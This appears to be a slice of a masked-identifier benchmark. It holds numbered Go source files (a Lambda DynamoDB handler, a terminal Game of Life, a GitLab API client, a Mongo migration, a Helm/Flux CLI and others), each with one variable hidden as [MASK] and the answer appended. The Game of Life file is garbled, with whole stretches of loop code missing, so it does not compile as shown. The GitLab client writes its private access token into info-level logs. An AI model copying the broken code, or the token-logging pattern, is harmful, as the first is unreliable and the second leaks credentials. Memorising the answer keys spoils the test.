*Extractor) Process(target, apiKey string) (*ArticleWrapper, error) { data, status, err := ce.Fetcher.Fetch(target + ""?apiKey="" + apiKey) if err != nil { return nil, fmt.Errorf(""%d: %v"", status, err) } return ce.ExtractArticle(data) } // ExtractArticle is a convenience method around unmarshaling the CORE article metadata func (ce *Extractor) ExtractArticle(rawData []byte) (*ArticleWrapper, error) { res := &ArticleWrapper{} err := json.Unmarshal(rawData, res) if err != nil { return nil, err } return res, nil } // String implements the Stringer interface to ensure consistent printing of the extracted article metadata. // If fields are empty they are omitted from the output. func (aw *ArticleWrapper) String() string { sb := &strings.Builder{} s := reflect.ValueOf(aw).Elem() [MASK] := s.Type() for i := 0; i < s.NumField(); i++ { f := s.Field(i) fmt.Fprintf(sb, ""%s: %v\n"", [MASK] .Field(i).Name, f.Interface()) } return sb.String() } ",typeOfT 875,"package main import ( ""context"" ""encoding/json"" ""fmt"" ""github.com/aws/aws-lambda-go/events"" ""github.com/aws/aws-lambda-go/lambda"" ""github.com/aws/aws-sdk-go-v2/aws"" ""github.com/aws/aws-sdk-go-v2/config"" ""github.com/aws/aws-sdk-go-v2/feature/dynamodb/attributevalue"" ""github.com/aws/aws-sdk-go-v2/service/dynamodb"" ""log"" ) func main() { lambda.Start(requestHandler) } type TicketCreatedEvent struct { TicketId string `json:""ticketId""` Eventname string `json:""eventName""` } func requestHandler(ctx context.Context, sqsEvent events.SQSEvent) error { sdkConfig, err := config.LoadDefaultConfig(context.TODO()) if err != nil { log.Fatal(err) } [MASK] := *dynamodb.NewFromConfig(sdkConfig) ticketCreatedEvent := TicketCreatedEvent{} err = json.Unmarshal([]byte(sqsEvent.Records[0].Body), &ticketCreatedEvent) if err != nil { log.Fatal(err) } ticketCreatedEvent.TicketId += ""-golang"" result, err := attributevalue.MarshalMap(ticketCreatedEvent) if err != nil { fmt.Println(""Failed to marshall request"") return err } input := &dynamodb.PutItemInput{ Item: result, TableName: aws.String(""TicketTable""), } _, err = [MASK] .PutItem(ctx, input) if err != nil { fmt.Println(""Failed to write to DB"") return err } return nil } ",dbClient 876,"package main import ""math/rand"" import ""time"" import term ""github.com/buger/goterm"" import ""syscall"" import ""os"" import ""os/signal"" // TODO: Add retro text UI, such as: // ┌──[ Go Life ]─────────────────────────────────────┐ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // │..................................................│ // └──────────────────────────────────────────────────┘ // [wrap] [pause] [quit] Cells: xxxxx Tick: xxxxxxx // type TUI_button struct { // x int // y int // tabindex int // text string // color string // } // type TUI struct { // width int // height int // tabindex int // controls *[]TUI_button // } type State struct { world *World paused bool fps int } type World struct { width int height int cells *[]bool tick uint } // Aviators: Building better worlds together func newWorld(width, height int) *World { cells := make([]bool, width*height) return &World{ width, height, &cells, 0 } } // Randomize world cells func randomizeWorld(world *World) { rand.Seed( time.Now().UnixNano() ) for i:=0; i 4) } } // Handle interruptions func initInterruptHandler(state *State) { channel := make(chan os.Signal) signal.Notify(channel, os.Interrupt, syscall.SIGTERM) go func() { <- channel state.paused = true time.Sleep(time.Second/8) term.Clear() term.MoveCursor(1,1) term.Flush() defer os.Exit(0) }() } func main() { // Determine available screen estate screenHeight := term.Height() screenWidth := term.Width() worldHeight := screenHeight-1 // no scrolling worldWidth := screenWidth // Create our world var world *World = newWorld(worldWidth, worldHeight) randomizeWorld(world) // and fill it with something interesting // Keep track of state var state *State = &State{world, false /*paused*/, 30 /*fps*/} // Gracefully handle interruptions instead of yelling initInterruptHandler(state) // and churn it mainLoop(state) } func mainLoop(state *State) { var nextTick, now int64 for { // FPS limiting, bitches! nextTick = time.Now().UnixNano() + (int64(time.Second) / int64(state.fps)) // Update and draw the world if (state.paused == false) { state.world = tickWorld(state.world) drawWorld(state.world, 1,1) } // Simple FPS limiting -- leads to microstutters without buffering, but totes fine for this now = time.Now().UnixNano() if now < nextTick { time.Sleep(time.Duration(nextTick - now)) } } } func drawWorld(world *World, left, [MASK] int) { term.MoveCursor(left, [MASK] ) width := world.width height := world.height live := 0 var line string for y:=0; y 6 { (*future.cells)[self] = (*world.cells)[self] // live -- for longevity } else { (*future.cells)[self] = false } // die } } return future } func liveNeighborCount(world *World, x,y int) int { var neighbors int = 0 // I'll need to rewrite this to allow non-wrapping if (*world.cells)[xyToCellIndex(world, x-1, y-1)] { neighbors++ } if (*world.cells)[xyToCellIndex(world, x, y-1)] { neighbors++ } if (*world.cells)[xyToCellIndex(world, x+1, y-1)] { neighbors++ } if (*world.cells)[xyToCellIndex(world, x-1, y )] { neighbors++ } // if (*world.cells)[xyToCellIndex(world, x, y )] { neighbors++ } if (*world.cells)[xyToCellIndex(world, x+1, y )] { neighbors++ } if (*world.cells)[xyToCellIndex(world, x-1, y+1)] { neighbors++ } if (*world.cells)[xyToCellIndex(world, x, y+1)] { neighbors++ } if (*world.cells)[xyToCellIndex(world, x+1, y+1)] { neighbors++ } return neighbors } func xyToCellIndex(world *World, x,y int) int { if x<0 { x += world.width } // Wrap-around because it's more interesting if y<0 { y += world.height } // . if x>=world.width { x -= world.width } // . if y>=world.height { y -= world.height } // . return y * world.width + x } func colorByNeighbors(neighbors int, text string) string { var color string reset := ""\033[0;39m"" + ""\033[0;49m"" if neighbors == 0 { color = ""\033[0;30;44m""; /* black on blue */ } else if neighbors == 1 { color = ""\033[1;30;46m""; /* black on bold cyan */ } else if neighbors == 2 { color = ""\033[0;30;46m""; /* black on cyan */ } else if neighbors == 3 { color = ""\033[0;30;42m""; /* black on green */ } else if neighbors == 4 { color = ""\033[1;30;42m""; /* black on bold green */ } else if neighbors == 5 { color = ""\033[0;30;41m""; /* black on red */ } else if neighbors == 6 { color = ""\033[0;30;41m""; /* black on red */ } else if neighbors == 7 { color = ""\033[1;30;41m""; /* black on bold red */ } else if neighbors == 8 { color = ""\033[1;37;45m""; /* black on bold magenta */ } return color + text + reset } ",top 877,"package apis import ( ""encoding/json"" ""fmt"" log ""github.com/Sirupsen/logrus"" ""github.com/eternnoir/gmrn/utils"" ""net/url"" ""strings"" ) func InitGitlabApi(url, token string) *GitLabApi { log.Infof(""Init Gitlab Api with token : %s"", token) [MASK] := GitLabApi{} [MASK] .gitlaburl = url [MASK] .token = token [MASK] .apiversion = ""v3"" // Temporarily use v3 as default. return & [MASK] } type GitLabApi struct { gitlaburl string token string apiversion string } // GetProjects to get all projects on gitlab server. func (gitlab *GitLabApi) GetProjects() ([]*Project, error) { gitlaburl := gitlab.gitlaburl token := gitlab.token log.Infof(""Start get project list from %s use token %s"", gitlaburl, token) params := url.Values{} params.Add(""private_token"", token) params.Add(""page"", ""1"") params.Add(""per_page"", ""2000"") requestUrl := gitlab.GenApiUrl(""projects/all"") log.Infof(""Send Request:%s"", requestUrl) result, err := utils.SendGetRequest(requestUrl, params) if err != nil { log.Error(err) return nil, err } resultStr := string(result[:]) log.Debugf(""Get Result %s"", resultStr) // DeJosn var projects []*Project err = json.Unmarshal(result, &projects) if err != nil { log.Error(err) return nil, err } log.Infof(""Get %d projects."", len(projects)) return projects, nil } // GetProject can get specific project by project id or PathWithNamespace. // // id is like ""1"". PathWithNamesapce is lile ""root/test2"" func (gitlab *GitLabApi) GetProject(id string) (*Project, error) { gitlaburl := gitlab.gitlaburl token := gitlab.token log.Infof(""Start get project from %s use token %s"", gitlaburl, token) params := url.Values{} params.Add(""private_token"", token) projectId := gitlab.GetRequestProjectId(id) requestUrl := gitlab.GenApiUrl(""projects/"" + projectId) log.Infof(""Send Request:%s"", requestUrl) result, err := utils.SendGetRequest(requestUrl, params) if err != nil { log.Error(err) return nil, err } resultStr := string(result[:]) log.Debugf(""Get Result %s"", resultStr) // DeJosn var project *Project err = json.Unmarshal(result, &project) if err != nil { log.Error(err) return nil, err } log.Infof(""Get project %s"", project.PathWithNamespace) return project, nil } // GetRequestProjectId is help to convert project id to request format. // If projectId contain ""/"" must replace to ""%2F"" func (gitlab *GitLabApi) GetRequestProjectId(projectId string) string { projectId = strings.Replace(projectId, ""/"", ""%2F"", -1) projectId = strings.Replace(projectId, ""."", ""%2E"", -1) return projectId } func (gitlab *GitLabApi) GetMergeRequests(id, state string) ([]*MergeRequest, error) { token := gitlab.token log.Infof(""Start get Merge Requests from %s "", id) params := url.Values{} params.Add(""private_token"", token) params.Add(""state"", state) projectId := gitlab.GetRequestProjectId(id) requestUrl := gitlab.GenApiUrl(fmt.Sprintf(""projects/%s/merge_requests"", projectId)) log.Infof(""Send Request:%s"", requestUrl) result, err := utils.SendGetRequest(requestUrl, params) if err != nil { log.Error(err) return nil, err } resultStr := string(result[:]) log.Debugf(""Get Result %s"", resultStr) var mergeRequests []*MergeRequest err = json.Unmarshal(result, &mergeRequests) if err != nil { log.Error(fmt.Errorf(""Error Msg:%s. Raw Josn: %s"", err, string(result))) return nil, err } log.Infof(""Get %d Merge Request from %s with %s state."", len(mergeRequests), id, state) return mergeRequests, nil } func (gitlab *GitLabApi) GenApiUrl(method string) string { url := fmt.Sprintf(""%s/api/%s/%s"", gitlab.gitlaburl, gitlab.apiversion, method) return url } ",gitlabpai 878,"package main import ( ""fmt"" ""strings"" ) func lengthLongestPath(input string) int { inputs := strings.Split(input, ""\n"") return find(0, 0, len(inputs), """", inputs) } func find(tc int, si int, sj int, path string, ss []string) int { [MASK] := 0 split := """" if tc > 0 { split = ""/"" } for i := si; i < sj; i++ { if strings.Count(ss[i], ""\t"") == tc { // same level if !strings.Contains(ss[i], ""."") { // dir action j := i + 1 for j < sj && strings.Count(ss[j], ""\t"") > tc { j++ } newAns := find(tc+1, i, j, path+split+strings.Trim(ss[i], ""\t*""), ss) if newAns > [MASK] { [MASK] = newAns } } else { // file action // fmt.Println(path + split + strings.Trim(ss[i], ""\t*"")) newAns := len(path + split + strings.Trim(ss[i], ""\t*"")) if newAns > [MASK] { [MASK] = newAns } } } } return [MASK] } func main() { fmt.Printf(""%v\n"", lengthLongestPath(""dir\n\tsubdir1\n\t\tfile1.ext\n\t\tsubsubdir1\n\tsubdir2\n\t\tsubsubdir2\n\t\t\tfile2.ext"")) fmt.Printf(""%v\n"", lengthLongestPath(""dir\n\tsubdir1\n\tsubdir2\n\t\tfile.ext"")) fmt.Printf(""%v\n"", lengthLongestPath(""a"")) fmt.Printf(""%v\n"", lengthLongestPath(""rzzmf\nv\n\tix\n\t\tiklav\n\t\t\ttqse\n\t\t\t\ttppzf\n\t\t\t\t\tzav\n\t\t\t\t\t\tkktei\n\t\t\t\t\t\t\thhmav\n\t\t\t\t\t\t\t\tbzvwf.txt"")) } ",ans 879,"// Copyright (C) 2019, . // All right reserved. // @author xiongfa.li // @version V1.0 // Description: package binlist import ( ""bytes"" ""container/list"" ) type BinNode struct { k string //start s int //end e int } type BinMetaList list.List func NewMetaList() *BinMetaList { ret := &BinMetaList{} (*list.List)(ret).Init() return ret } type BinList struct { D []byte list *BinMetaList } func New(l *BinMetaList) *BinList { return &BinList{ list: l, } } func (bm *BinMetaList) Put(key string, s, size int) *BinMetaList { n := &BinNode{ k: key, s: s, e: s + size, } (*list.List)(bm).PushBack(n) return bm } func (bm *BinMetaList) Get(key string) *BinNode { for f := (*list.List)(bm).Front(); f != nil; f = f.Next() { n := f.Value.(*BinNode) if n.k == key { return n } } return nil } func (bm *BinList) Get(key string) []byte { n := bm.list.Get(key) if n != nil { return bm.D[n.s: n.e] } return nil } type BinListBuilder struct { buffer bytes.Buffer l *BinMetaList } func NewBuilder() *BinListBuilder { return &BinListBuilder{ l: NewMetaList(), } } func (b *BinListBuilder) Append(key string, d []byte) *BinListBuilder { [MASK] := b.buffer.Len() b.l.Put(key, [MASK] , len(d)) b.buffer.Write(d) return b } func (b *BinListBuilder) Build() *BinList { l := BinList{ D: b.buffer.Bytes(), list: b.l, } return &l } ",cur 880,"package constant import ( ""io"" ""log/slog"" ""os"" ) const ( BILI = ""/sdcard/Android/data/tv.danmaku.bili/download"" HD = ""/sdcard/Android/data/tv.danmaku.bilibilihd/download"" GLOBAL = ""/sdcard/Android/data/com.bilibili.app.in/download"" ANDROIDVIDEO = ""/sdcard/Movies/bili"" ANDROIDAUDIO = ""/sdcard/Music/bili"" ANDROIDDANMAKU = ""/sdcard/Documents/bili"" ) var LogLevel string func GetLogLevel() string { return LogLevel } /* 设置程序运行的日志等级 */ func SetLogLevel(s string) { file := ""AVmerge.log"" [MASK] , err := os.OpenFile(file, os.O_CREATE|os.O_WRONLY, 0770) if err != nil { panic(err) } var opt slog.HandlerOptions switch s { case ""Debug"", ""debug"": LogLevel = ""Debug"" opt = slog.HandlerOptions{ // 自定义option AddSource: true, Level: slog.LevelDebug, // slog 默认日志级别是 info } case ""Info"", ""info"": opt = slog.HandlerOptions{ // 自定义option AddSource: false, Level: slog.LevelInfo, // slog 默认日志级别是 info } LogLevel = ""Info"" case ""Warn"", ""warn"": LogLevel = ""Err"" opt = slog.HandlerOptions{ // 自定义option AddSource: true, Level: slog.LevelWarn, // slog 默认日志级别是 info } case ""Err"", ""err"": LogLevel = ""Err"" opt = slog.HandlerOptions{ // 自定义option AddSource: true, Level: slog.LevelError, // slog 默认日志级别是 info } default: slog.Warn(""需要正确设置环境变量 Debug,Info,Warn or Err"") slog.Debug(""默认使用Debug等级"") opt = slog.HandlerOptions{ // 自定义option AddSource: true, Level: slog.LevelDebug, // slog 默认日志级别是 info } } logger := slog.New(slog.NewJSONHandler(io.MultiWriter( [MASK] , os.Stdout), &opt)) slog.SetDefault(logger) } var SecondParameter string func SetSecParam(s string) { SecondParameter = s } func GetSecParam() string { return SecondParameter } ",logf 881,"package system import ( ""github.com/Kiuryy/uaparser/vars"" ""github.com/Kiuryy/uaparser/version"" ""strings"" ) // Eval parses the user agent and sets the system information (OS, Platform) func Eval(u *vars.UserAgent, ua string) { s := strings.IndexRune(ua, '(') e := strings.IndexRune(ua, ')') if s > e { s = 0 e = len(ua) } if e == -1 { e = len(ua) } agentPlatform := ua[s+1 : e] [MASK] := strings.Index(agentPlatform, "";"") var specs string if [MASK] != -1 { specs = agentPlatform[: [MASK] ] } else { specs = agentPlatform } //strict OS & version identification switch { case specs == ""android"": evalLinux(u, ua, agentPlatform) case specs == ""x11"" || specs == ""linux"": evalLinux(u, ua, agentPlatform) case strings.HasPrefix(specs, ""ipad"") || strings.HasPrefix(specs, ""iphone"") || strings.HasPrefix(specs, ""ipod touch"") || strings.HasPrefix(specs, ""ipod""): evaliOS(u, specs, agentPlatform) case specs == ""macintosh"": evalMac(u, ua) default: switch { // Windows, Xbox case strings.Contains(ua, ""windows "") || strings.Contains(ua, ""microsoft-cryptoapi""): evalWindows(u, ua) // Linux, Android case strings.Contains(ua, ""linux"") || strings.Contains(ua, ""android""): evalLinux(u, ua, agentPlatform) // Apple CFNetwork case strings.Contains(ua, ""cfnetwork"") && strings.Contains(ua, ""darwin""): evalMac(u, ua) } } } // evalLinux returns the `Platform`, `OSName` and Version of UAs with // 'linux' listed as their platform. func evalLinux(u *vars.UserAgent, ua string, agentPlatform string) { switch { // Android, Kindle Fire case strings.Contains(ua, ""android"") || strings.Contains(ua, ""googletv""): // Android u.OS.Platform = vars.PlatformLinux u.OS.Name = vars.OSAndroid u.OS.Version.FindVersionNumber(agentPlatform, ""android "") if versionAlias, ok := androidVersionAlias[version.Version{u.OS.Version.Major, u.OS.Version.Minor, 0}]; ok { u.OS.VersionAlias = versionAlias } // ChromeOS case strings.Contains(ua, ""cros""): u.OS.Platform = vars.PlatformLinux u.OS.Name = vars.OSChromeOS u.OS.Version.FindVersionNumber(ua, ""chrome/"") // Linux, ""Linux-like"" case strings.Contains(ua, ""x11"") || strings.Contains(ua, ""bsd"") || strings.Contains(ua, ""suse"") || strings.Contains(ua, ""debian"") || strings.Contains(ua, ""ubuntu""): u.OS.Platform = vars.PlatformLinux u.OS.Name = vars.OSLinux // default to linux anyway, since we don't evaluate which exact distribution is being used default: u.OS.Platform = vars.PlatformLinux u.OS.Name = vars.OSLinux } } // evaliOS returns the `Platform`, `OSName` and Version of UAs with // 'ipad' or 'iphone' listed as their platform. func evaliOS(u *vars.UserAgent, uaPlatform string, agentPlatform string) { switch { // iPhone case strings.HasPrefix(uaPlatform, ""iphone""): u.OS.Platform = vars.PlatformiPhone u.OS.Name = vars.OSiOS evaliOSVersion(u, agentPlatform) // iPad case strings.HasPrefix(uaPlatform, ""ipad""): u.OS.Platform = vars.PlatformiPad u.OS.Name = vars.OSiOS evaliOSVersion(u, agentPlatform) // iPod case strings.HasPrefix(uaPlatform, ""ipod touch"") || strings.HasPrefix(uaPlatform, ""ipod""): u.OS.Platform = vars.PlatformiPod u.OS.Name = vars.OSiOS evaliOSVersion(u, agentPlatform) } } // getiOSVersion accepts the platform portion of a UA string and returns a Version. func evaliOSVersion(u *vars.UserAgent, uaPlatformGroup string) { if i := strings.Index(uaPlatformGroup, ""cpu iphone os ""); i != -1 { u.OS.Version.Parse(uaPlatformGroup[i+14:]) return } if i := strings.Index(uaPlatformGroup, ""cpu os ""); i != -1 { u.OS.Version.Parse(uaPlatformGroup[i+7:]) return } u.OS.Version.Parse(uaPlatformGroup) } func evalWindows(u *vars.UserAgent, ua string) { u.OS.Platform = vars.PlatformWindows u.OS.Name = vars.OSUnknown if strings.Contains(ua, ""windows nt "") && u.OS.Version.FindVersionNumber(ua, ""windows nt "") { u.OS.Name = vars.OSWindows } if versionAlias, ok := windowsVersionAlias[version.Version{u.OS.Version.Major, u.OS.Version.Minor, 0}]; ok { u.OS.VersionAlias = versionAlias } } func evalMac(u *vars.UserAgent, uaPlatformGroup string) { u.OS.Platform = vars.PlatformMac u.OS.Name = vars.OSUnknown if i := strings.Index(uaPlatformGroup, ""mac os x""); i != -1 { u.OS.Name = vars.OSMacOS u.OS.Version.Parse(uaPlatformGroup[i+9:]) if u.OS.Version.Major >= 11 { // minor version has the same alias since macOS 11 if versionAlias, ok := macVersionAlias[version.Version{u.OS.Version.Major, 0, 0}]; ok { u.OS.VersionAlias = versionAlias } } else { // previous versions of macOS had a different alias based on their minor version (e.g. 10.14 Mojave, 10.15 Catalina, ...) if versionAlias, ok := macVersionAlias[version.Version{u.OS.Version.Major, u.OS.Version.Minor, 0}]; ok { u.OS.VersionAlias = versionAlias } } } } ",specsEnd 882,"package assets import ( ""bytes"" ""embed"" ""image"" _ ""image/png"" ""io/fs"" ""github.com/hajimehoshi/ebiten/v2"" ""github.com/hajimehoshi/ebiten/v2/text/v2"" ) //go:embed * var assets embed.FS var PlayerSprite = mustLoadImage(""player.png"") var LaserSprite = mustLoadImage(""laser.png"") var MeteorSprites = mustLoadImages(""meteors/*.png"") var ScoreFont = mustLoadFont(""font.ttf"") func mustLoadImage(name string) *ebiten.Image { f, err := assets.Open(name) if err != nil { panic(err) } defer f.Close() img, _, err := image.Decode(f) if err != nil { panic(err) } return ebiten.NewImageFromImage(img) } func mustLoadImages(path string) []*ebiten.Image { [MASK] , err := fs.Glob(assets, path) if err != nil { panic(err) } images := make([]*ebiten.Image, len( [MASK] )) for i, match := range [MASK] { images[i] = mustLoadImage(match) } return images } func mustLoadFont(name string) *text.GoTextFaceSource { f, err := assets.ReadFile(name) if err != nil { panic(err) } tt, err := text.NewGoTextFaceSource(bytes.NewReader(f)) if err != nil { panic(err) } return tt } ",matches 883,"package main import ( ""context"" ""fmt"" ""github.com/samber/lo"" ""go.mongodb.org/mongo-driver/bson"" ""go.mongodb.org/mongo-driver/mongo"" ""go.mongodb.org/mongo-driver/mongo/options"" ) type Schema struct { ID string `bson:""id""` Fields []*Field `bson:""fields""` } type Field struct { ID string `bson:""id""` TypeProperty *TypeProperty `bson:""typeproperty""` } type TypeProperty struct { Type string `bson:""type""` Reference *Reference `bson:""reference""` } type Reference struct { Model string `bson:""model""` Schema string `bson:""schema""` CorrespondingSchema *string `bson:""correspondingschema""` } func (r *Reference) SetSchema(s string) { r.Schema = s } type Model struct { ID string `bson:""id""` Schema string `bson:""schema""` } func RefFieldSchema(ctx context.Context, dbURL, dbName string, wetRun bool) error { testID := """" client, err := mongo.Connect(ctx, options.Client().ApplyURI(dbURL)) if err != nil { return fmt.Errorf(""db: failed to init client err: %w"", err) } sCol := client.Database(dbName).Collection(""schema"") mCol := client.Database(dbName).Collection(""model"") schemas, err := loadSchemas(ctx, sCol) if err != nil { return err } if len(schemas) == 0 { return fmt.Errorf(""no docs found"") } mIds := lo.FlatMap(schemas, func(s Schema, _ int) []string { return lo.FilterMap(s.Fields, func(f *Field, _ int) (string, bool) { if f.TypeProperty.Type != ""reference"" { return """", false } return f.TypeProperty.Reference.Model, true }) }) models, err := loadModels(ctx, mIds, mCol) if err != nil { return err } fmt.Printf(""%d docs found, first id: %s\n"", len(schemas), schemas[0].ID) if testID != """" { schemas = lo.Filter(schemas, func(s Schema, _ int) bool { return s.ID == testID }) fmt.Printf(""test mode: filter on '%s', now %d docs selcted\n"", testID, len(schemas)) } lo.ForEach(schemas, func(s Schema, _ int) { lo.ForEach(s.Fields, func(f *Field, _ int) { if f.TypeProperty.Type != ""reference"" { return } m, ok := models[f.TypeProperty.Reference.Model] if ok { f.TypeProperty.Reference.SetSchema(m.Schema) return } if f.TypeProperty.Reference.CorrespondingSchema != nil { f.TypeProperty.Reference.SetSchema(*f.TypeProperty.Reference.CorrespondingSchema) return } fmt.Printf(""no model found for schema '%s' model id '%s'\n"", s.ID, f.TypeProperty.Reference.Model) }) }) // update all documents in col writes := lo.FlatMap(schemas, func(s Schema, _ int) []mongo.WriteModel { return lo.FilterMap(s.Fields, func(f *Field, _ int) (mongo.WriteModel, bool) { if f.TypeProperty.Type != ""reference"" { return nil, false } fmt.Printf(""updating schema '%s' field '%s' referenced schema '%s'\n"", s.ID, f.ID, f.TypeProperty.Reference.Schema) return mongo.NewUpdateOneModel(). SetFilter(bson.M{ ""id"": s.ID, ""fields.id"": f.ID, }). SetUpdate(bson.M{ ""$set"": bson.M{ ""fields.$[f].typeproperty.reference.schema"": f.TypeProperty.Reference.Schema, }, }). SetArrayFilters(options.ArrayFilters{ Filters: []interface{}{bson.M{""f.id"": f.ID}}, }), true }) }) if !wetRun { fmt.Printf(""dry run\n"") fmt.Printf(""%d docs will be updated\n"", len(writes)) return nil } fmt.Printf(""writing docs..."") res, err := sCol.BulkWrite(ctx, writes) if err != nil { return fmt.Errorf(""failed to bulk write: %w"", err) } fmt.Printf(""%d docs updated\n"", res.ModifiedCount) return nil } func loadSchemas(ctx context.Context, col *mongo.Collection) ([]Schema, error) { cur, err := col.Find( ctx, bson.M{""fields.typeproperty.type"": ""reference""}, options.Find().SetProjection(bson.M{""id"": 1, ""fields"": 1}), ) if err != nil { return nil, fmt.Errorf(""failed to find schemas docs: %w"", err) } var schemas []Schema err = cur.All(ctx, &schemas) if err != nil { return nil, fmt.Errorf(""failed to decode schemas docs: %w"", err) } return schemas, nil } func loadModels(ctx context.Context, [MASK] []string, col *mongo.Collection) (map[string]Model, error) { cur, err := col.Find( ctx, bson.M{""id"": bson.M{""$in"": [MASK] }}, options.Find().SetProjection(bson.M{""id"": 1, ""schema"": 1}), ) if err != nil { return nil, fmt.Errorf(""failed to find models docs: %w"", err) } var models []Model err = cur.All(ctx, &models) if err != nil { return nil, fmt.Errorf(""failed to decode models docs: %w"", err) } return lo.SliceToMap(models, func(m Model) (string, Model) { return m.ID, m }), nil } ",sIDs 884,"package config import ""fmt"" const ( INI_CONFIG = ""ini"" ) type ConfigManager interface { Set(key, val string) error String(key string) string Strings(key string) []string Int(key string) (int, error) Int64(key string) (int64, error) Bool(key string) (bool, error) Float(key string) (float64, error) SaveConfigFile(filename string, bsort bool) error } type Config interface { Parse(filename string) (ConfigManager, error) } var adapters = make(map[string]Config) func Register(name string, adapter Config) { if adapter == nil { panic(""config: Register adapter is nil"") } if _, ok := adapters[name]; ok { panic(""config: Register called twice for adapter "" + name) } adapters[name] = adapter } func NewConfig( [MASK] , fileaname string) (ConfigManager, error) { adapter, ok := adapters[ [MASK] ] if !ok { return nil, fmt.Errorf(""config: unknown adaptername %q (forgotten import?)"", [MASK] ) } return adapter.Parse(fileaname) } ",adapterName 885,"package main import ( ""bytes"" ""context"" ""encoding/json"" ""fmt"" ""log"" ""os"" ""path/filepath"" ""regexp"" ""sort"" ""strings"" ""time"" // Kubernetes auth plugins (Azure, GCP, OIDC, ...). _ ""k8s.io/client-go/plugin/pkg/client/auth"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/runtime/schema"" ""k8s.io/apimachinery/pkg/types"" ""k8s.io/cli-runtime/pkg/genericclioptions"" ""k8s.io/client-go/discovery"" ""k8s.io/client-go/dynamic"" ""k8s.io/utils/pointer"" helmaction ""helm.sh/helm/v3/pkg/action"" ""helm.sh/helm/v3/pkg/chart/loader"" helmcfg ""helm.sh/helm/v3/pkg/cli"" ""helm.sh/helm/v3/pkg/releaseutil"" ""dario.cat/mergo"" v2 ""github.com/fluxcd/helm-controller/api/v2"" ""github.com/opencontainers/go-digest"" ""github.com/spf13/cobra"" clientsetscheme ""k8s.io/client-go/kubernetes/scheme"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/clientcmd"" ""k8s.io/client-go/tools/record"" ""github.com/databus23/helm-diff/v3/diff"" ""github.com/databus23/helm-diff/v3/manifest"" ""sigs.k8s.io/controller-runtime/pkg/client"" sigsyaml ""sigs.k8s.io/yaml"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"" ""k8s.io/cli-runtime/pkg/printers"" fluxmeta ""github.com/fluxcd/pkg/apis/meta"" fluxchartutil ""github.com/fluxcd/pkg/chartutil"" ""github.com/fluxcd/pkg/runtime/conditions"" hchart ""helm.sh/helm/v3/pkg/chartutil"" corev1 ""k8s.io/api/core/v1"" ""k8s.io/apimachinery/pkg/api/meta"" ) // Global CLI flags. var Version = ""dev"" var ( kubeconfig string kubecontext string ns string chDir string plain bool // render without talking to the API server showOnly []string // template globs for `cozypkg show` extraVals []string // additional -f/--values files ) func init() { _ = v2.AddToScheme(clientsetscheme.Scheme) _ = metav1.AddMetaToScheme(clientsetscheme.Scheme) } // main is the application entry-point. func main() { log.SetFlags(0) root := &cobra.Command{ Use: ""cozypkg"", Short: ""Cozy wrapper around Helm and Flux CD for local development"", Version: Version, PersistentPreRun: func(cmd *cobra.Command, args []string) { if chDir != """" { err := os.Chdir(chDir) if err != nil { log.Fatalf(""could not chdir to %s: %v"", chDir, err) } } }, } root.SetVersionTemplate(""cozypkg version {{.Version}}\n"") root.PersistentFlags().StringVar(&kubeconfig, ""kubeconfig"", """", ""Path to kubeconfig"") root.PersistentFlags().StringVar(&kubecontext, ""context"", """", ""Kube context"") root.PersistentFlags().StringVarP(&ns, ""namespace"", ""n"", """", ""Kubernetes namespace (defaults to the current context)"") root.PersistentFlags().StringVarP(&chDir, ""working-directory"", ""C"", """", ""Root directory of Helm chart to run against (defaults to current directory)"") _ = root.RegisterFlagCompletionFunc(""namespace"", completeNamespaces) root.AddCommand( cmdShow(), cmdApply(), cmdDiff(), cmdSuspend(), cmdResume(), cmdDelete(), cmdList(), cmdGet(), cmdCompletion(), cmdReconcile(), ) root.AddCommand(&cobra.Command{ Use: ""version"", Short: ""Print version"", Run: func(_ *cobra.Command, _ []string) { fmt.Println(""cozypkg"", Version) }, }) root.SilenceErrors = true root.SilenceUsage = true if err := root.Execute(); err != nil { log.Fatalf(""error: %v"", err) } } // loadClientConfig builds a client config with optional kubeconfig and context overrides. func loadClientConfig() clientcmd.ClientConfig { rules := clientcmd.NewDefaultClientConfigLoadingRules() if kubeconfig != """" { rules.ExplicitPath = kubeconfig } overrides := &clientcmd.ConfigOverrides{} if kubecontext != """" { overrides.CurrentContext = kubecontext } if ns != """" { overrides.Context.Namespace = ns } return clientcmd.NewNonInteractiveDeferredLoadingClientConfig(rules, overrides) } // restConfig builds a *rest.Config from the --kubeconfig flag or $KUBECONFIG. func restConfig() *rest.Config { config, err := loadClientConfig().ClientConfig() if err != nil { fmt.Fprintf(os.Stderr, ""Error loading kubeconfig: %v\n"", err) os.Exit(1) } return config } // helmCfg returns an initialised Helm configuration bound to a namespace. func helmCfg(rc *rest.Config, namespace string) (*helmaction.Configuration, *helmcfg.EnvSettings, error) { env := helmcfg.New() if kubeconfig != """" { env.KubeConfig = kubeconfig } env.SetNamespace(namespace) cfg := new(helmaction.Configuration) if err := cfg.Init(env.RESTClientGetter(), namespace, ""secret"", log.Printf); err != nil { return nil, nil, err } return cfg, env, nil } // fluxPostRenderer injects Flux labels so that rendered manifests match the // server-side state. type fluxPostRenderer struct{ name, ns string } // Run adds Flux labels to every object. func (f *fluxPostRenderer) Run(in *bytes.Buffer) (*bytes.Buffer, error) { docs := bytes.Split(in.Bytes(), []byte(""\n---"")) var out [][]byte for _, d := range docs { if len(bytes.TrimSpace(d)) == 0 { continue } var obj map[string]interface{} if err := sigsyaml.Unmarshal(d, &obj); err != nil || obj == nil { // keep lists / empty docs intact out = append(out, d) continue } md := ensureMap(obj, ""metadata"") lbl := ensureMap(md, ""labels"") lbl[""helm.toolkit.fluxcd.io/name""] = f.name lbl[""helm.toolkit.fluxcd.io/namespace""] = f.ns rendered, err := sigsyaml.Marshal(obj) if err != nil { return nil, err } out = append(out, rendered) } return bytes.NewBuffer(bytes.Join(out, []byte(""\n---\n""))), nil } // ensureMap returns the map under parent[key], creating it if needed. func ensureMap(parent map[string]interface{}, key string) map[string]interface{} { if parent == nil { return map[string]interface{}{} } if v, ok := parent[key]; ok { if m, ok := v.(map[string]interface{}); ok { return m } } m := map[string]interface{}{} parent[key] = m return m } // mergedValues merges 